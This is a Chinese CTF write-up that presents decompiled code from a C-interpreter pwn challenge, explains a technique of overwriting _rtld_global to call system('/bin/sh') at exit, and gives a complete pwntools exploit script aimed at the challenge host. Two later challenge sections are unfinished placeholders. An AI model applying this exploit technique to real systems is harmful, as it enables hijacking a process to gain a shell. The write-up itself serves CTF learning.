unsigned __int64 __fastcall sub_16CB(__int64 a1)
{
  signed __int64 v1; // rdx
  signed __int64 v2; // rdx
  signed __int64 v3; // rdx
  signed __int64 v4; // rdx
  signed __int64 v5; // rdx
  signed __int64 v6; // rdx
  signed __int64 v7; // rdx
  _QWORD *v8; // ST20_8
  _QWORD *v9; // ST20_8
  _QWORD *v10; // ST20_8
  signed __int64 v11; // rdx
  signed __int64 v12; // rdx
  signed __int64 v13; // rdx
  signed __int64 v14; // rdx
  signed __int64 v15; // rdx
  signed __int64 v16; // rdx
  __int64 v18; // [rsp+18h] [rbp-18h]
  __int64 v19; // [rsp+18h] [rbp-18h]
  __int64 v20; // [rsp+18h] [rbp-18h]
  signed __int64 v21; // [rsp+18h] [rbp-18h]
  _QWORD *v22; // [rsp+20h] [rbp-10h]
  _QWORD *v23; // [rsp+20h] [rbp-10h]
  unsigned __int64 v24; // [rsp+28h] [rbp-8h]

  v24 = __readfsqword(0x28u);
  if ( !qword_206070 )
  {
    printf("%d: unexpected eof in expression\n", qword_206098);
    exit(-1);
  }
  switch ( qword_206070 )
  {
    case 128LL:
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 1LL;
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = qword_2060A8;
      sub_B70();
      qword_206078 = 1LL;
      break;
    case 34LL:
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 1LL;
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = qword_2060A8;
      sub_B70();
      while ( qword_206070 == 34 )
        sub_B70();
      qword_206080 = (void *)(((unsigned __int64)qword_206080 + 8) & 0xFFFFFFFFFFFFFFF8LL);
      qword_206078 = 2LL;
      break;
    case 140LL:
      sub_B70();
      if ( qword_206070 != 40 )
      {
        printf("%d: open paren expected in sizeof\n", qword_206098);
        exit(-1);
      }
      sub_B70();
      qword_206078 = 1LL;
      if ( qword_206070 == 138 )
      {
        sub_B70();
      }
      else if ( qword_206070 == 134 )
      {
        sub_B70();
        qword_206078 = 0LL;
      }
      while ( qword_206070 == 159 )
      {
        sub_B70();
        qword_206078 += 2LL;
      }
      if ( qword_206070 != 41 )
      {
        printf("%d: close paren expected in sizeof\n", qword_206098);
        exit(-1);
      }
      sub_B70();
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 1LL;
      qword_206088 = (char *)qword_206088 + 8;
      if ( qword_206078 )
        v1 = 8LL;
      else
        v1 = 1LL;
      *(_QWORD *)qword_206088 = v1;
      qword_206078 = 1LL;
      break;
    case 133LL:
      v22 = (_QWORD *)qword_2060B8;
      sub_B70();
      if ( qword_206070 == 40 )
      {
        sub_B70();
        v18 = 0LL;
        while ( qword_206070 != 41 )
        {
          sub_16CB(142LL);
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 13LL;
          ++v18;
          if ( qword_206070 == 44 )
            sub_B70();
        }
        sub_B70();
        if ( v22[3] == 130LL )
        {
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = v22[5];
        }
        else
        {
          if ( v22[3] != 129LL )
          {
            printf("%d: bad function call\n", qword_206098);
            exit(-1);
          }
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 3LL;
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = v22[5];
        }
        if ( v18 )
        {
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 7LL;
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = v18;
        }
        qword_206078 = v22[4];
      }
      else if ( v22[3] == 128LL )
      {
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 1LL;
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = v22[5];
        qword_206078 = 1LL;
      }
      else
      {
        if ( v22[3] == 132LL )
        {
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 0LL;
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = qword_206090 - v22[5];
        }
        else
        {
          if ( v22[3] != 131LL )
          {
            printf("%d: undefined variable\n", qword_206098);
            exit(-1);
          }
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 1LL;
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = v22[5];
        }
        qword_206088 = (char *)qword_206088 + 8;
        qword_206078 = v22[4];
        if ( qword_206078 )
          v2 = 9LL;
        else
          v2 = 10LL;
        *(_QWORD *)qword_206088 = v2;
      }
      break;
    case 40LL:
      sub_B70();
      if ( qword_206070 != 138 && qword_206070 != 134 )
      {
        sub_16CB(142LL);
        if ( qword_206070 != 41 )
        {
          printf("%d: close paren expected\n", qword_206098);
          exit(-1);
        }
        sub_B70();
      }
      else
      {
        v19 = qword_206070 == 138;
        sub_B70();
        while ( qword_206070 == 159 )
        {
          sub_B70();
          v19 += 2LL;
        }
        if ( qword_206070 != 41 )
        {
          printf("%d: bad cast\n", qword_206098);
          exit(-1);
        }
        sub_B70();
        sub_16CB(162LL);
        qword_206078 = v19;
      }
      break;
    case 159LL:
      sub_B70();
      sub_16CB(162LL);
      if ( qword_206078 <= 1 )
      {
        printf("%d: bad dereference\n", qword_206098);
        exit(-1);
      }
      qword_206078 -= 2LL;
      qword_206088 = (char *)qword_206088 + 8;
      if ( qword_206078 )
        v3 = 9LL;
      else
        v3 = 10LL;
      *(_QWORD *)qword_206088 = v3;
      break;
    case 148LL:
      sub_B70();
      sub_16CB(162LL);
      if ( *(_QWORD *)qword_206088 != 10LL && *(_QWORD *)qword_206088 != 9LL )
      {
        printf("%d: bad address-of\n", qword_206098);
        exit(-1);
      }
      qword_206088 = (char *)qword_206088 - 8;
      qword_206078 += 2LL;
      break;
    case 33LL:
      sub_B70();
      sub_16CB(162LL);
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 13LL;
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 1LL;
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 0LL;
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 17LL;
      qword_206078 = 1LL;
      break;
    case 126LL:
      sub_B70();
      sub_16CB(162LL);
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 13LL;
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 1LL;
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = -1LL;
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 15LL;
      qword_206078 = 1LL;
      break;
    case 157LL:
      sub_B70();
      sub_16CB(162LL);
      qword_206078 = 1LL;
      break;
    case 158LL:
      sub_B70();
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 1LL;
      if ( qword_206070 == 128 )
      {
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = -qword_2060A8;
        sub_B70();
      }
      else
      {
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = -1LL;
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(162LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 27LL;
      }
      qword_206078 = 1LL;
      break;
    default:
      if ( qword_206070 != 162 && qword_206070 != 163 )
      {
        printf("%d: bad expression\n", qword_206098);
        exit(-1);
      }
      v20 = qword_206070;
      sub_B70();
      sub_16CB(162LL);
      if ( *(_QWORD *)qword_206088 == 10LL )
      {
        *(_QWORD *)qword_206088 = 13LL;
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 10LL;
      }
      else
      {
        if ( *(_QWORD *)qword_206088 != 9LL )
        {
          printf("%d: bad lvalue in pre-increment\n", qword_206098);
          exit(-1);
        }
        *(_QWORD *)qword_206088 = 13LL;
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 9LL;
      }
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 13LL;
      qword_206088 = (char *)qword_206088 + 8;
      *(_QWORD *)qword_206088 = 1LL;
      qword_206088 = (char *)qword_206088 + 8;
      if ( qword_206078 <= 2 )
        v4 = 1LL;
      else
        v4 = 8LL;
      *(_QWORD *)qword_206088 = v4;
      qword_206088 = (char *)qword_206088 + 8;
      if ( v20 == 162 )
        v5 = 25LL;
      else
        v5 = 26LL;
      *(_QWORD *)qword_206088 = v5;
      qword_206088 = (char *)qword_206088 + 8;
      if ( qword_206078 )
        v6 = 11LL;
      else
        v6 = 12LL;
      *(_QWORD *)qword_206088 = v6;
      break;
  }
  while ( qword_206070 >= a1 )
  {
    v21 = qword_206078;
    switch ( qword_206070 )
    {
      case 142LL:
        sub_B70();
        if ( *(_QWORD *)qword_206088 != 10LL && *(_QWORD *)qword_206088 != 9LL )
        {
          printf("%d: bad lvalue in assignment\n", qword_206098);
          exit(-1);
        }
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(142LL);
        qword_206088 = (char *)qword_206088 + 8;
        qword_206078 = v21;
        if ( v21 )
          v7 = 11LL;
        else
          v7 = 12LL;
        *(_QWORD *)qword_206088 = v7;
        break;
      case 143LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 4LL;
        qword_206088 = (char *)qword_206088 + 8;
        v23 = qword_206088;
        sub_16CB(142LL);
        if ( qword_206070 != 58 )
        {
          printf("%d: conditional missing colon\n", qword_206098);
          exit(-1);
        }
        sub_B70();
        *v23 = (char *)qword_206088 + 24;
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 2LL;
        qword_206088 = (char *)qword_206088 + 8;
        v8 = qword_206088;
        sub_16CB(143LL);
        *v8 = (char *)qword_206088 + 8;
        break;
      case 144LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 5LL;
        qword_206088 = (char *)qword_206088 + 8;
        v9 = qword_206088;
        sub_16CB(145LL);
        *v9 = (char *)qword_206088 + 8;
        qword_206078 = 1LL;
        break;
      case 145LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 4LL;
        qword_206088 = (char *)qword_206088 + 8;
        v10 = qword_206088;
        sub_16CB(146LL);
        *v10 = (char *)qword_206088 + 8;
        qword_206078 = 1LL;
        break;
      case 146LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(147LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 14LL;
        qword_206078 = 1LL;
        break;
      case 147LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(148LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 15LL;
        qword_206078 = 1LL;
        break;
      case 148LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(149LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 16LL;
        qword_206078 = 1LL;
        break;
      case 149LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(151LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 17LL;
        qword_206078 = 1LL;
        break;
      case 150LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(151LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 18LL;
        qword_206078 = 1LL;
        break;
      case 151LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(155LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 19LL;
        qword_206078 = 1LL;
        break;
      case 152LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(155LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 20LL;
        qword_206078 = 1LL;
        break;
      case 153LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(155LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 21LL;
        qword_206078 = 1LL;
        break;
      case 154LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(155LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 22LL;
        qword_206078 = 1LL;
        break;
      case 155LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(157LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 23LL;
        qword_206078 = 1LL;
        break;
      case 156LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(157LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 24LL;
        qword_206078 = 1LL;
        break;
      case 157LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(159LL);
        qword_206078 = v21;
        if ( v21 > 2 )
        {
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 13LL;
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 1LL;
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 8LL;
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 27LL;
        }
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 25LL;
        break;
      case 158LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(159LL);
        if ( v21 <= 2 || v21 != qword_206078 )
        {
          qword_206078 = v21;
          if ( v21 > 2 )
          {
            qword_206088 = (char *)qword_206088 + 8;
            *(_QWORD *)qword_206088 = 13LL;
            qword_206088 = (char *)qword_206088 + 8;
            *(_QWORD *)qword_206088 = 1LL;
            qword_206088 = (char *)qword_206088 + 8;
            *(_QWORD *)qword_206088 = 8LL;
            qword_206088 = (char *)qword_206088 + 8;
            *(_QWORD *)qword_206088 = 27LL;
          }
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 26LL;
        }
        else
        {
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 26LL;
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 13LL;
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 1LL;
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 8LL;
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 28LL;
          qword_206078 = 1LL;
        }
        break;
      case 159LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(162LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 27LL;
        qword_206078 = 1LL;
        break;
      case 160LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(162LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 28LL;
        qword_206078 = 1LL;
        break;
      case 161LL:
        sub_B70();
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 13LL;
        sub_16CB(162LL);
        qword_206088 = (char *)qword_206088 + 8;
        *(_QWORD *)qword_206088 = 29LL;
        qword_206078 = 1LL;
        break;
      default:
        if ( qword_206070 != 162 && qword_206070 != 163 )
        {
          if ( qword_206070 != 164 )
          {
            printf("%d: compiler error tk=%d\n", qword_206098, qword_206070);
            exit(-1);
          }
          sub_B70();
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 13LL;
          sub_16CB(142LL);
          if ( qword_206070 != 93 )
          {
            printf("%d: close bracket expected\n", qword_206098);
            exit(-1);
          }
          sub_B70();
          if ( v21 <= 2 )
          {
            if ( v21 <= 1 )
            {
              printf("%d: pointer type expected\n", qword_206098);
              exit(-1);
            }
          }
          else
          {
            qword_206088 = (char *)qword_206088 + 8;
            *(_QWORD *)qword_206088 = 13LL;
            qword_206088 = (char *)qword_206088 + 8;
            *(_QWORD *)qword_206088 = 1LL;
            qword_206088 = (char *)qword_206088 + 8;
            *(_QWORD *)qword_206088 = 8LL;
            qword_206088 = (char *)qword_206088 + 8;
            *(_QWORD *)qword_206088 = 27LL;
          }
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 25LL;
          qword_206088 = (char *)qword_206088 + 8;
          qword_206078 = v21 - 2;
          if ( v21 == 2 )
            v16 = 10LL;
          else
            v16 = 9LL;
          *(_QWORD *)qword_206088 = v16;
        }
        else
        {
          if ( *(_QWORD *)qword_206088 == 10LL )
          {
            *(_QWORD *)qword_206088 = 13LL;
            qword_206088 = (char *)qword_206088 + 8;
            *(_QWORD *)qword_206088 = 10LL;
          }
          else
          {
            if ( *(_QWORD *)qword_206088 != 9LL )
            {
              printf("%d: bad lvalue in post-increment\n", qword_206098);
              exit(-1);
            }
            *(_QWORD *)qword_206088 = 13LL;
            qword_206088 = (char *)qword_206088 + 8;
            *(_QWORD *)qword_206088 = 9LL;
          }
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 13LL;
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 1LL;
          qword_206088 = (char *)qword_206088 + 8;
          if ( qword_206078 <= 2 )
            v11 = 1LL;
          else
            v11 = 8LL;
          *(_QWORD *)qword_206088 = v11;
          qword_206088 = (char *)qword_206088 + 8;
          if ( qword_206070 == 162 )
            v12 = 25LL;
          else
            v12 = 26LL;
          *(_QWORD *)qword_206088 = v12;
          qword_206088 = (char *)qword_206088 + 8;
          if ( qword_206078 )
            v13 = 11LL;
          else
            v13 = 12LL;
          *(_QWORD *)qword_206088 = v13;
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 13LL;
          qword_206088 = (char *)qword_206088 + 8;
          *(_QWORD *)qword_206088 = 1LL;
          qword_206088 = (char *)qword_206088 + 8;
          if ( qword_206078 <= 2 )
            v14 = 1LL;
          else
            v14 = 8LL;
          *(_QWORD *)qword_206088 = v14;
          qword_206088 = (char *)qword_206088 + 8;
          if ( qword_206070 == 162 )
            v15 = 26LL;
          else
            v15 = 25LL;
          *(_QWORD *)qword_206088 = v15;
          sub_B70();
        }
        break;
    }
  }
  return __readfsqword(0x28u) ^ v24;
}

赛后了解到这是个 C 语言编译器,有一些限制,函数只能调用一次

函数和变量类型也只能用程序给的,程序主要利用点我这里是 gdb 调试出来的

通过 gdb 断点可以发现,我们定义的变量都在 ld 的可写段上

由于有不同 ld 对于 libc 偏移不一样,但同一 ld 对于 libc 偏移都一样的特性

我们可以得到带有 libc 地址的变量,之后程序会调用 exit 退出,但 exit 的参数是不定的

所以我就想靠 _rtld_global 来进行提权,因为 one_gadget 成功的机率太小,所以我用的是system("/bin/sh");

这题坑点就是在正常的 ld 上运行程序的话,指针和 libc 的偏移是 0x506XXX

但是远程环境对不上,是 0x529XXX 的偏移,以后做这类题可以考虑按页爆破了

这里还有一点是,假如我不在程序后面加上exit(0);,那么使用 one_gadget 提权的可能性就微乎其微

而加上后只有第四个 one_gadget(0xf1147) 能正常使用

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('182.92.73.10', 24573)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
# gdb.attach(p, "b exit\nb *$rebase(0x44D6)" + "\nc")
# gdb.attach(p, "b _dl_fini\nc")

pd = '''
int *tmp;
int *libcbase;
int *addr_system;
int *addr_bin_sh;
int *addr__rtld_global_3848;
int *addr__rtld_global_2312;

void main(){
    libcbase = (int)&tmp - 0x529010;
    addr_system = (int)libcbase + 0x45390;
    addr_bin_sh = (int)libcbase + 0x18cd57;
    addr__rtld_global_3848 = (int)libcbase + 0x5f0040 + 3848;
    addr__rtld_global_2312 = (int)libcbase + 0x5f0040 + 2312;
    *addr__rtld_global_3848 = addr_system;
    *addr__rtld_global_2312 = *addr_bin_sh;
}
'''
p.sendlineafter('ng...', pd)
p.interactive()

Flag:

动态靶机

boom2(未完)

文件存于:https://quqi.gblhgk.com/s/911627/2n6ziVZeKwCdZXRn

貌似也是一道 vmpwn

Description:

nc 182.92.73.10 36642

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

main 函数如下:

test

exp 如下:

test

Flag:

动态靶机

faster0(未完)

盲 Pwn,听说是 AEG,等官方开放题目吧

Description:

nc 39.96.72.181 42732

Solution:

盲 Pwn

程序保护如下:

test

main 函数如下:

test

exp 如下:

test

Flag:

动态靶机
点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注